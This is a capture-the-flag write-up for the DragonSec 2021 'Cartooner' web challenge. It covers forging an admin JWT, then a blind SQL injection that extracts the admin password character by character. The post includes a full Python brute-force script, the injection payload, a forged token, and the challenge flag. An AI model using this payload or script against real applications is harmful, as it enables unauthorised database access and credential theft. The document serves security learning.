/ctfs/dragonsec si ctf - 2021/web/cartooner

Synopsis

We have to find a flag on this web app
Let 's log as guest

Jwt

We have in our a cookie a jwt. There is a username field in the JWT let's try to crack it to change our username to admin


Nice we can now modify the JWT


Sql injection

As we are now admin, we can access to the admin/posts endpoint that allows us to do search queries


There is a secret parameter that allows us to debug and see the full SQL query
Thanks to that, we can see where we are able to inject
SELECT p.text AS description, p.likes, date_format(p.dateposted,'%e. %c. %Y') AS time, p.img, u.username AS user, u.profilepic AS profilePic, u.password AS secret 
FROM posts p 
INNER 
JOIN users u ON (p.username = u.username) 
WHERE p.text LIKE '<INJECT HERE>' ORDER BY p.dateposted DESC;


When the query works, it shows us different posts. I took one of this post as cannary value for my blind SQLi


Flag it !

Here is my script to retrieve admin's password.
(It's a script from one of my templates that is why there are useless lines in it.)
#!/usr/bin/python
import thread
import time
import requests
import urllib3
import string
import urllib
import sys
import os
from termcolor import colored

urllib3.disable_warnings()
requests.packages.urllib3.disable_warnings()

u="http://dctf1-chall-cartooner.westeurope.azurecontainer.io:9999/admin/posts"
cookie={'user':'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJpYXQiOjE2MjExMDE4MzJ9.Hzibxu-CzS73EBulrvN06KCz-oaeN1MWkcdAWz-rB-A'} #the cookies
headers = {'Content-Type': 'application/x-www-form-urlencoded'}   #the headers
username='admin'

Title= """@Fey blind sql"""

RES=""
i = len(RES) + 1
i2 = 1
def bruteforce2(threadName,f,number):
   global RES
   global i
   while 1:
      for word in range(256):
         os.system("clear")
         print colored(Title ,"red")
         print colored("[*] RES: "+RES ,"green")
         print colored("[*] testing word: "+RES+chr(word) ,"cyan")

         injection = """' and "admin" in (select username from users where BINARY username="admin" and BINARY substring(password,%d,1) = chr(%d)) #""" % (i, word)
         payload={'search': injection,'sql': "mysql",'debug':'1'}  #the formpayload
         r = requests.post(url=u,data=payload,headers=headers,cookies=cookie)
         #print r.text
         if "Hey, Baby! Anybody ever tell you I have beautiful eyes?" in r.text:
            RES += chr(word)
            i+=1
            if (len(RES) == 36):
               print colored("[*] FOUND : "+RES,"yellow")
               exit(0)
            break
try:

    
   thread.start_new_thread( bruteforce2, ("Thread-1",[],1))
except:
   print "Error: unable to start thread"

while 1:
   pass


Here is my SQL injection payload, BINARY key word stands for case sensitive comparison.
' and "admin" in (select username from users where BINARY username="admin" and BINARY substring(password,<INDEX>,1) = chr(<TESTED CHAR>)) #


And here is the script running:






Nice, here is the flag: dCTF{wh0a_M4M4!_a5635d90b}